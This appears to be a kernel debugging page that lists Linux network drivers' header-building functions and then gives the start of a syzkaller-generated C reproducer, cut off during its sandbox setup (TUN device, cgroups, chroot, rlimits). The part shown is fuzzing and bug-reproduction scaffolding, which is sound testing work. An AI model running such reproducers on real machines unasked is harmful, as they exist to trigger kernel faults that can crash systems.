---
# System prepended metadata

title: Untitled

---

## fwnet_header_create
- drivers/firewire/net
- not found

## ipoib_hard_header
- drivers/infiniband/ulp/ipoib/ipoib_main
- not found

## arcnet_header
- drivers/net/arcnet/arcnet
- not found

## ipvlan_hard_header
- drivers/net/ipvlan/ipvlan_main
```c
static int ipvlan_hard_header(struct sk_buff *skb, struct net_device *dev,
			      unsigned short type, const void *daddr,
			      const void *saddr, unsigned len)
{
	const struct ipvl_dev *ipvlan = netdev_priv(dev);
	struct net_device *phy_dev = ipvlan->phy_dev;

	/* TODO Probably use a different field than dev_addr so that the
	 * mac-address on the virtual device is portable and can be carried
	 * while the packets use the mac-addr on the physical device.
	 */
	return dev_hard_header(skb, phy_dev, type, daddr,
			       saddr ? : phy_dev->dev_addr, len);
}
```

## macvlan_hard_header
- drivers/net/macvlan
```c
static int macvlan_hard_header(struct sk_buff *skb, struct net_device *dev,
			       unsigned short type, const void *daddr,
			       const void *saddr, unsigned len)
{
	const struct macvlan_dev *vlan = netdev_priv(dev);
	struct net_device *lowerdev = vlan->lowerdev;

	return dev_hard_header(skb, lowerdev, type, daddr,
			       saddr ? : dev->dev_addr, len);
}

```

## mctp_i2c_header_create
- drivers/net/mctp/mctp-i2c
- not found

## plip_hard_header
- drivers/net/plip/plip
- not found

## cisco_hard_header
- drivers/net/wan/hdlc_cisco
- not found

## ppp_hard_header
- drivers/net/wan/hdlc_ppp
- not found

## fc_header
- net/802/fc
- not found

## fddi_header
- net/802/fddi
- not found

## hippi_header
- net/802/hippi
- not found

## vlan_dev_hard_header
- net/8021q/vlan_dev
```c
static int vlan_dev_hard_header(struct sk_buff *skb, struct net_device *dev,
				unsigned short type,
				const void *daddr, const void *saddr,
				unsigned int len)
{
	struct vlan_dev_priv *vlan = vlan_dev_priv(dev);
	struct vlan_hdr *vhdr;
	unsigned int vhdrlen = 0;
	u16 vlan_tci = 0;
	int rc;

	if (!(vlan->flags & VLAN_FLAG_REORDER_HDR)) {
		vhdr = skb_push(skb, VLAN_HLEN);

		vlan_tci = vlan->vlan_id;
		vlan_tci |= vlan_dev_get_egress_qos_mask(dev, skb->priority);
		vhdr->h_vlan_TCI = htons(vlan_tci);

		/*
		 *  Set the protocol type. For a packet of type ETH_P_802_3/2 we
		 *  put the length in here instead.
		 */
		if (type != ETH_P_802_3 && type != ETH_P_802_2)
			vhdr->h_vlan_encapsulated_proto = htons(type);
		else
			vhdr->h_vlan_encapsulated_proto = htons(len);

		skb->protocol = vlan->vlan_proto;
		type = ntohs(vlan->vlan_proto);
		vhdrlen = VLAN_HLEN;
	}

	/* Before delegating work to the lower layer, enter our MAC-address */
	if (saddr == NULL)
		saddr = dev->dev_addr;

	/* Now make the underlying real hard header */
	dev = vlan->real_dev;
	rc = dev_hard_header(skb, dev, type, daddr, saddr, len + vhdrlen);
	if (rc > 0)
		rc += vhdrlen;
	return rc;
}
```

## vlan_passthru_hard_header
- net/8021q/vlan_dev
```c
static int vlan_passthru_hard_header(struct sk_buff *skb, struct net_device *dev,
				     unsigned short type,
				     const void *daddr, const void *saddr,
				     unsigned int len)
{
	struct vlan_dev_priv *vlan = vlan_dev_priv(dev);
	struct net_device *real_dev = vlan->real_dev;

	if (saddr == NULL)
		saddr = dev->dev_addr;

	return dev_hard_header(skb, real_dev, type, daddr, saddr, len);
}

```

## ax25_hard_header
- net/ax25/ax25_ip
- not found

## header_create
- net/bluetooth/6lowpan
- not found

## eth_header
- net/ethernet/eth
```c
int eth_header(struct sk_buff *skb, struct net_device *dev,
	       unsigned short type,
	       const void *daddr, const void *saddr, unsigned int len)
{
	struct ethhdr *eth = skb_push(skb, ETH_HLEN);

	if (type != ETH_P_802_3 && type != ETH_P_802_2)
		eth->h_proto = htons(type);
	else
		eth->h_proto = htons(len);

	/*
	 *      Set the source hardware address.
	 */

	if (!saddr)
		saddr = dev->dev_addr;
	memcpy(eth->h_source, saddr, ETH_ALEN);

	if (daddr) {
		memcpy(eth->h_dest, daddr, ETH_ALEN);
		return ETH_HLEN;
	}

	/*
	 *      Anyway, the loopback-device should never use this function...
	 */

	if (dev->flags & (IFF_LOOPBACK | IFF_NOARP)) {
		eth_zero_addr(eth->h_dest);
		return ETH_HLEN;
	}

	return -ETH_HLEN;
}
```

## lowpan_header_create
- net/ieee802154/6lowpan/core
- not found

## ipgre_header
- net/ipv4/ip_gre
```c
static int ipgre_header(struct sk_buff *skb, struct net_device *dev,
			unsigned short type,
			const void *daddr, const void *saddr, unsigned int len)
{
	struct ip_tunnel *t = netdev_priv(dev);
	struct iphdr *iph;
	struct gre_base_hdr *greh;

	iph = skb_push(skb, t->hlen + sizeof(*iph));
	greh = (struct gre_base_hdr *)(iph+1);
	greh->flags = gre_tnl_flags_to_gre_flags(t->parms.o_flags);
	greh->protocol = htons(type);

	memcpy(iph, &t->parms.iph, sizeof(struct iphdr));

	/* Set the source hardware address. */
	if (saddr)
		memcpy(&iph->saddr, saddr, 4);
	if (daddr)
		memcpy(&iph->daddr, daddr, 4);
	if (iph->daddr)
		return t->hlen + sizeof(*iph);

	return -(t->hlen + sizeof(*iph));
}

```

## ip6gre_header
- net/ipv6/ip6_gre
```c
static int ip6gre_header(struct sk_buff *skb, struct net_device *dev,
			 unsigned short type, const void *daddr,
			 const void *saddr, unsigned int len)
{
	struct ip6_tnl *t = netdev_priv(dev);
	struct ipv6hdr *ipv6h;
	__be16 *p;

	ipv6h = skb_push(skb, t->hlen + sizeof(*ipv6h));
	ip6_flow_hdr(ipv6h, 0, ip6_make_flowlabel(dev_net(dev), skb,
						  t->fl.u.ip6.flowlabel,
						  true, &t->fl.u.ip6));
	ipv6h->hop_limit = t->parms.hop_limit;
	ipv6h->nexthdr = NEXTHDR_GRE;
	ipv6h->saddr = t->parms.laddr;
	ipv6h->daddr = t->parms.raddr;

	p = (__be16 *)(ipv6h + 1);
	p[0] = t->parms.o_flags;
	p[1] = htons(type);

	/*
	 *	Set the source hardware address.
	 */

	if (saddr)
		memcpy(&ipv6h->saddr, saddr, sizeof(struct in6_addr));
	if (daddr)
		memcpy(&ipv6h->daddr, daddr, sizeof(struct in6_addr));
	if (!ipv6_addr_any(&ipv6h->daddr))
		return t->hlen;

	return -t->hlen;
}

```

## mac802154_header_create
- net/mac802154/iface
- not found

## nr_header
- net/netrom/nr_dev
- not found

## pn_header_create
- net/phonet/af_phonet
- not found

## rose_header
- net/rose/rose_dev
- not found


```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include <linux/capability.h>
#include <linux/futex.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>

#ifndef __NR_seccomp
#define __NR_seccomp 317
#endif

static unsigned long long procid;

static __thread int clone_ongoing;
static __thread int skip_segv;
static __thread jmp_buf segv_env;

static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
  if (__atomic_load_n(&clone_ongoing, __ATOMIC_RELAXED) != 0) {
    exit(sig);
  }
  uintptr_t addr = (uintptr_t)info->si_addr;
  const uintptr_t prog_start = 1 << 20;
  const uintptr_t prog_end = 100 << 20;
  int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0;
  int valid = addr < prog_start || addr > prog_end;
  if (skip && valid) {
    _longjmp(segv_env, 1);
  }
  exit(sig);
}

static void install_segv_handler(void)
{
  struct sigaction sa;
  memset(&sa, 0, sizeof(sa));
  sa.sa_handler = SIG_IGN;
  syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
  syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
  memset(&sa, 0, sizeof(sa));
  sa.sa_sigaction = segv_handler;
  sa.sa_flags = SA_NODEFER | SA_SIGINFO;
  sigaction(SIGSEGV, &sa, NULL);
  sigaction(SIGBUS, &sa, NULL);
}

#define NONFAILING(...)                                                        \
  ({                                                                           \
    int ok = 1;                                                                \
    __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST);                       \
    if (_setjmp(segv_env) == 0) {                                              \
      __VA_ARGS__;                                                             \
    } else                                                                     \
      ok = 0;                                                                  \
    __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST);                       \
    ok;                                                                        \
  })

static void sleep_ms(uint64_t ms)
{
  usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
  struct timespec ts;
  if (clock_gettime(CLOCK_MONOTONIC, &ts))
    exit(1);
  return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static void use_temporary_dir(void)
{
  char tmpdir_template[] = "./syzkaller.XXXXXX";
  char* tmpdir = mkdtemp(tmpdir_template);
  if (!tmpdir)
    exit(1);
  if (chmod(tmpdir, 0777))
    exit(1);
  if (chdir(tmpdir))
    exit(1);
}

static void thread_start(void* (*fn)(void*), void* arg)
{
  pthread_t th;
  pthread_attr_t attr;
  pthread_attr_init(&attr);
  pthread_attr_setstacksize(&attr, 128 << 10);
  int i = 0;
  for (; i < 100; i++) {
    if (pthread_create(&th, &attr, fn, arg) == 0) {
      pthread_attr_destroy(&attr);
      return;
    }
    if (errno == EAGAIN) {
      usleep(50);
      continue;
    }
    break;
  }
  exit(1);
}

#define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len)               \
  *(type*)(addr) =                                                             \
      htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) |           \
            (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))

typedef struct {
  int state;
} event_t;

static void event_init(event_t* ev)
{
  ev->state = 0;
}

static void event_reset(event_t* ev)
{
  ev->state = 0;
}

static void event_set(event_t* ev)
{
  if (ev->state)
    exit(1);
  __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
  syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
  while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
    syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

static int event_isset(event_t* ev)
{
  return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}

static int event_timedwait(event_t* ev, uint64_t timeout)
{
  uint64_t start = current_time_ms();
  uint64_t now = start;
  for (;;) {
    uint64_t remain = timeout - (now - start);
    struct timespec ts;
    ts.tv_sec = remain / 1000;
    ts.tv_nsec = (remain % 1000) * 1000 * 1000;
    syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
    if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
      return 1;
    now = current_time_ms();
    if (now - start > timeout)
      return 0;
  }
}

static bool write_file(const char* file, const char* what, ...)
{
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);
  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    int err = errno;
    close(fd);
    errno = err;
    return false;
  }
  close(fd);
  return true;
}

struct nlmsg {
  char* pos;
  int nesting;
  struct nlattr* nested[8];
  char buf[4096];
};

static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
                         const void* data, int size)
{
  memset(nlmsg, 0, sizeof(*nlmsg));
  struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
  hdr->nlmsg_type = typ;
  hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
  memcpy(hdr + 1, data, size);
  nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}

static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
                         int size)
{
  struct nlattr* attr = (struct nlattr*)nlmsg->pos;
  attr->nla_len = sizeof(*attr) + size;
  attr->nla_type = typ;
  if (size > 0)
    memcpy(attr + 1, data, size);
  nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}

static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
                            int* reply_len, bool dofail)
{
  if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
    exit(1);
  struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
  hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
  struct sockaddr_nl addr;
  memset(&addr, 0, sizeof(addr));
  addr.nl_family = AF_NETLINK;
  ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
                     (struct sockaddr*)&addr, sizeof(addr));
  if (n != (ssize_t)hdr->nlmsg_len) {
    if (dofail)
      exit(1);
    return -1;
  }
  n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
  if (reply_len)
    *reply_len = 0;
  if (n < 0) {
    if (dofail)
      exit(1);
    return -1;
  }
  if (n < (ssize_t)sizeof(struct nlmsghdr)) {
    errno = EINVAL;
    if (dofail)
      exit(1);
    return -1;
  }
  if (hdr->nlmsg_type == NLMSG_DONE)
    return 0;
  if (reply_len && hdr->nlmsg_type == reply_type) {
    *reply_len = n;
    return 0;
  }
  if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) {
    errno = EINVAL;
    if (dofail)
      exit(1);
    return -1;
  }
  if (hdr->nlmsg_type != NLMSG_ERROR) {
    errno = EINVAL;
    if (dofail)
      exit(1);
    return -1;
  }
  errno = -((struct nlmsgerr*)(hdr + 1))->error;
  return -errno;
}

static int netlink_send(struct nlmsg* nlmsg, int sock)
{
  return netlink_send_ext(nlmsg, sock, 0, NULL, true);
}

static int netlink_query_family_id(struct nlmsg* nlmsg, int sock,
                                   const char* family_name, bool dofail)
{
  struct genlmsghdr genlhdr;
  memset(&genlhdr, 0, sizeof(genlhdr));
  genlhdr.cmd = CTRL_CMD_GETFAMILY;
  netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
  netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name,
               strnlen(family_name, GENL_NAMSIZ - 1) + 1);
  int n = 0;
  int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail);
  if (err < 0) {
    return -1;
  }
  uint16_t id = 0;
  struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
                                         NLMSG_ALIGN(sizeof(genlhdr)));
  for (; (char*)attr < nlmsg->buf + n;
       attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
    if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
      id = *(uint16_t*)(attr + 1);
      break;
    }
  }
  if (!id) {
    errno = EINVAL;
    return -1;
  }
  recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
  return id;
}

static void netlink_device_change(struct nlmsg* nlmsg, int sock,
                                  const char* name, bool up, const char* master,
                                  const void* mac, int macsize,
                                  const char* new_name)
{
  struct ifinfomsg hdr;
  memset(&hdr, 0, sizeof(hdr));
  if (up)
    hdr.ifi_flags = hdr.ifi_change = IFF_UP;
  hdr.ifi_index = if_nametoindex(name);
  netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
  if (new_name)
    netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
  if (master) {
    int ifindex = if_nametoindex(master);
    netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
  }
  if (macsize)
    netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
  int err = netlink_send(nlmsg, sock);
  if (err < 0) {
  }
}

static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
                            const void* addr, int addrsize)
{
  struct ifaddrmsg hdr;
  memset(&hdr, 0, sizeof(hdr));
  hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
  hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
  hdr.ifa_scope = RT_SCOPE_UNIVERSE;
  hdr.ifa_index = if_nametoindex(dev);
  netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr,
               sizeof(hdr));
  netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
  netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
  return netlink_send(nlmsg, sock);
}

static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev,
                              const char* addr)
{
  struct in_addr in_addr;
  inet_pton(AF_INET, addr, &in_addr);
  int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
  if (err < 0) {
  }
}

static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev,
                              const char* addr)
{
  struct in6_addr in6_addr;
  inet_pton(AF_INET6, addr, &in6_addr);
  int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
  if (err < 0) {
  }
}

static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name,
                              const void* addr, int addrsize, const void* mac,
                              int macsize)
{
  struct ndmsg hdr;
  memset(&hdr, 0, sizeof(hdr));
  hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
  hdr.ndm_ifindex = if_nametoindex(name);
  hdr.ndm_state = NUD_PERMANENT;
  netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr,
               sizeof(hdr));
  netlink_attr(nlmsg, NDA_DST, addr, addrsize);
  netlink_attr(nlmsg, NDA_LLADDR, mac, macsize);
  int err = netlink_send(nlmsg, sock);
  if (err < 0) {
  }
}

static struct nlmsg nlmsg;

static int tunfd = -1;

#define TUN_IFACE "syz_tun"
#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"

#define IFF_NAPI 0x0010

static void initialize_tun(void)
{
  tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
  if (tunfd == -1) {
    printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
    printf("otherwise fuzzing or reproducing might not work as intended\n");
    return;
  }
  const int kTunFd = 200;
  if (dup2(tunfd, kTunFd) < 0)
    exit(1);
  close(tunfd);
  tunfd = kTunFd;
  struct ifreq ifr;
  memset(&ifr, 0, sizeof(ifr));
  strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
  ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
  if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
    exit(1);
  }
  char sysctl[64];
  sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
  write_file(sysctl, "0");
  sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
  write_file(sysctl, "0");
  int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
  if (sock == -1)
    exit(1);
  netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4);
  netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6);
  uint64_t macaddr = REMOTE_MAC;
  struct in_addr in_addr;
  inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
  netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr),
                    &macaddr, ETH_ALEN);
  struct in6_addr in6_addr;
  inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
  netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr),
                    &macaddr, ETH_ALEN);
  macaddr = LOCAL_MAC;
  netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN,
                        NULL);
  close(sock);
}

static int read_tun(char* data, int size)
{
  if (tunfd < 0)
    return -1;
  int rv = read(tunfd, data, size);
  if (rv < 0) {
    if (errno == EAGAIN || errno == EBADF || errno == EBADFD)
      return -1;
    exit(1);
  }
  return rv;
}

static void flush_tun()
{
  char data[1000];
  while (read_tun(&data[0], sizeof(data)) != -1) {
  }
}

#define MAX_FDS 30

static void mount_cgroups(const char* dir, const char** controllers, int count)
{
  if (mkdir(dir, 0777)) {
    return;
  }
  char enabled[128] = {0};
  int i = 0;
  for (; i < count; i++) {
    if (mount("none", dir, "cgroup", 0, controllers[i])) {
      continue;
    }
    umount(dir);
    strcat(enabled, ",");
    strcat(enabled, controllers[i]);
  }
  if (enabled[0] == 0) {
    if (rmdir(dir) && errno != EBUSY)
      exit(1);
    return;
  }
  if (mount("none", dir, "cgroup", 0, enabled + 1)) {
    if (rmdir(dir) && errno != EBUSY)
      exit(1);
  }
  if (chmod(dir, 0777)) {
  }
}

static void mount_cgroups2(const char** controllers, int count)
{
  if (mkdir("/syzcgroup/unified", 0777)) {
    return;
  }
  if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
    if (rmdir("/syzcgroup/unified") && errno != EBUSY)
      exit(1);
    return;
  }
  if (chmod("/syzcgroup/unified", 0777)) {
  }
  int control = open("/syzcgroup/unified/cgroup.subtree_control", O_WRONLY);
  if (control == -1)
    return;
  int i;
  for (i = 0; i < count; i++)
    if (write(control, controllers[i], strlen(controllers[i])) < 0) {
    }
  close(control);
}

static void setup_cgroups()
{
  const char* unified_controllers[] = {"+cpu", "+io", "+pids"};
  const char* net_controllers[] = {"net", "net_prio", "devices", "blkio",
                                   "freezer"};
  const char* cpu_controllers[] = {"cpuset", "cpuacct", "hugetlb", "rlimit",
                                   "memory"};
  if (mkdir("/syzcgroup", 0777)) {
    return;
  }
  mount_cgroups2(unified_controllers,
                 sizeof(unified_controllers) / sizeof(unified_controllers[0]));
  mount_cgroups("/syzcgroup/net", net_controllers,
                sizeof(net_controllers) / sizeof(net_controllers[0]));
  mount_cgroups("/syzcgroup/cpu", cpu_controllers,
                sizeof(cpu_controllers) / sizeof(cpu_controllers[0]));
  write_file("/syzcgroup/cpu/cgroup.clone_children", "1");
  write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1");
}

static void setup_cgroups_loop()
{
  int pid = getpid();
  char file[128];
  char cgroupdir[64];
  snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
  if (mkdir(cgroupdir, 0777)) {
  }
  snprintf(file, sizeof(file), "%s/pids.max", cgroupdir);
  write_file(file, "32");
  snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
  write_file(file, "%d", pid);
  snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
  if (mkdir(cgroupdir, 0777)) {
  }
  snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
  write_file(file, "%d", pid);
  snprintf(file, sizeof(file), "%s/memory.soft_limit_in_bytes", cgroupdir);
  write_file(file, "%d", 299 << 20);
  snprintf(file, sizeof(file), "%s/memory.limit_in_bytes", cgroupdir);
  write_file(file, "%d", 300 << 20);
  snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
  if (mkdir(cgroupdir, 0777)) {
  }
  snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
  write_file(file, "%d", pid);
}

static void setup_cgroups_test()
{
  char cgroupdir[64];
  snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
  if (symlink(cgroupdir, "./cgroup")) {
  }
  snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
  if (symlink(cgroupdir, "./cgroup.cpu")) {
  }
  snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
  if (symlink(cgroupdir, "./cgroup.net")) {
  }
}

static void initialize_cgroups()
{
  if (mkdir("./syz-tmp/newroot/syzcgroup", 0700))
    exit(1);
  if (mkdir("./syz-tmp/newroot/syzcgroup/unified", 0700))
    exit(1);
  if (mkdir("./syz-tmp/newroot/syzcgroup/cpu", 0700))
    exit(1);
  if (mkdir("./syz-tmp/newroot/syzcgroup/net", 0700))
    exit(1);
  unsigned bind_mount_flags = MS_BIND | MS_REC | MS_PRIVATE;
  if (mount("/syzcgroup/unified", "./syz-tmp/newroot/syzcgroup/unified", NULL,
            bind_mount_flags, NULL)) {
  }
  if (mount("/syzcgroup/cpu", "./syz-tmp/newroot/syzcgroup/cpu", NULL,
            bind_mount_flags, NULL)) {
  }
  if (mount("/syzcgroup/net", "./syz-tmp/newroot/syzcgroup/net", NULL,
            bind_mount_flags, NULL)) {
  }
}

static void setup_gadgetfs();
static void setup_binderfs();
static void setup_fusectl();
static void sandbox_common_mount_tmpfs(void)
{
  write_file("/proc/sys/fs/mount-max", "100000");
  if (mkdir("./syz-tmp", 0777))
    exit(1);
  if (mount("", "./syz-tmp", "tmpfs", 0, NULL))
    exit(1);
  if (mkdir("./syz-tmp/newroot", 0777))
    exit(1);
  if (mkdir("./syz-tmp/newroot/dev", 0700))
    exit(1);
  unsigned bind_mount_flags = MS_BIND | MS_REC | MS_PRIVATE;
  if (mount("/dev", "./syz-tmp/newroot/dev", NULL, bind_mount_flags, NULL))
    exit(1);
  if (mkdir("./syz-tmp/newroot/proc", 0700))
    exit(1);
  if (mount("syz-proc", "./syz-tmp/newroot/proc", "proc", 0, NULL))
    exit(1);
  if (mkdir("./syz-tmp/newroot/selinux", 0700))
    exit(1);
  const char* selinux_path = "./syz-tmp/newroot/selinux";
  if (mount("/selinux", selinux_path, NULL, bind_mount_flags, NULL)) {
    if (errno != ENOENT)
      exit(1);
    if (mount("/sys/fs/selinux", selinux_path, NULL, bind_mount_flags, NULL) &&
        errno != ENOENT)
      exit(1);
  }
  if (mkdir("./syz-tmp/newroot/sys", 0700))
    exit(1);
  if (mount("/sys", "./syz-tmp/newroot/sys", 0, bind_mount_flags, NULL))
    exit(1);
  if (mount("/sys/kernel/debug", "./syz-tmp/newroot/sys/kernel/debug", NULL,
            bind_mount_flags, NULL) &&
      errno != ENOENT)
    exit(1);
  if (mount("/sys/fs/smackfs", "./syz-tmp/newroot/sys/fs/smackfs", NULL,
            bind_mount_flags, NULL) &&
      errno != ENOENT)
    exit(1);
  if (mount("/proc/sys/fs/binfmt_misc",
            "./syz-tmp/newroot/proc/sys/fs/binfmt_misc", NULL, bind_mount_flags,
            NULL) &&
      errno != ENOENT)
    exit(1);
  initialize_cgroups();
  if (mkdir("./syz-tmp/pivot", 0777))
    exit(1);
  if (syscall(SYS_pivot_root, "./syz-tmp", "./syz-tmp/pivot")) {
    if (chdir("./syz-tmp"))
      exit(1);
  } else {
    if (chdir("/"))
      exit(1);
    if (umount2("./pivot", MNT_DETACH))
      exit(1);
  }
  if (chroot("./newroot"))
    exit(1);
  if (chdir("/"))
    exit(1);
  setup_gadgetfs();
  setup_binderfs();
  setup_fusectl();
}

static void setup_gadgetfs()
{
  if (mkdir("/dev/gadgetfs", 0777)) {
  }
  if (mount("gadgetfs", "/dev/gadgetfs", "gadgetfs", 0, NULL)) {
  }
}

static void setup_fusectl()
{
  if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
  }
}

static void setup_binderfs()
{
  if (mkdir("/dev/binderfs", 0777)) {
  }
  if (mount("binder", "/dev/binderfs", "binder", 0, NULL)) {
  }
}

static void loop();

static void sandbox_common()
{
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  if (getppid() == 1)
    exit(1);
  struct rlimit rlim;
  rlim.rlim_cur = rlim.rlim_max = (200 << 20);
  setrlimit(RLIMIT_AS, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 32 << 20;
  setrlimit(RLIMIT_MEMLOCK, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 136 << 20;
  setrlimit(RLIMIT_FSIZE, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 1 << 20;
  setrlimit(RLIMIT_STACK, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 128 << 20;
  setrlimit(RLIMIT_CORE, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 256;
  setrlimit(RLIMIT_NOFILE, &rlim);
  if (unshare(CLONE_NEWNS)) {
  }
  if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
  }
  if (unshare(CLONE_NEWIPC)) {
  }
  if (unshare(0x02000000)) {
  }
  if (unshare(CLONE_NEWUTS)) {
  }
  if (unshare(CLONE_SYSVSEM)) {
  }
  typedef struct {
    const char* name;
    const char* value;
  } sysctl_t;
  static const sysctl_t sysctls[] = {
      {"/proc/sys/kernel/shmmax", "16777216"},
      {"/proc/sys/kernel/shmall", "536870912"},
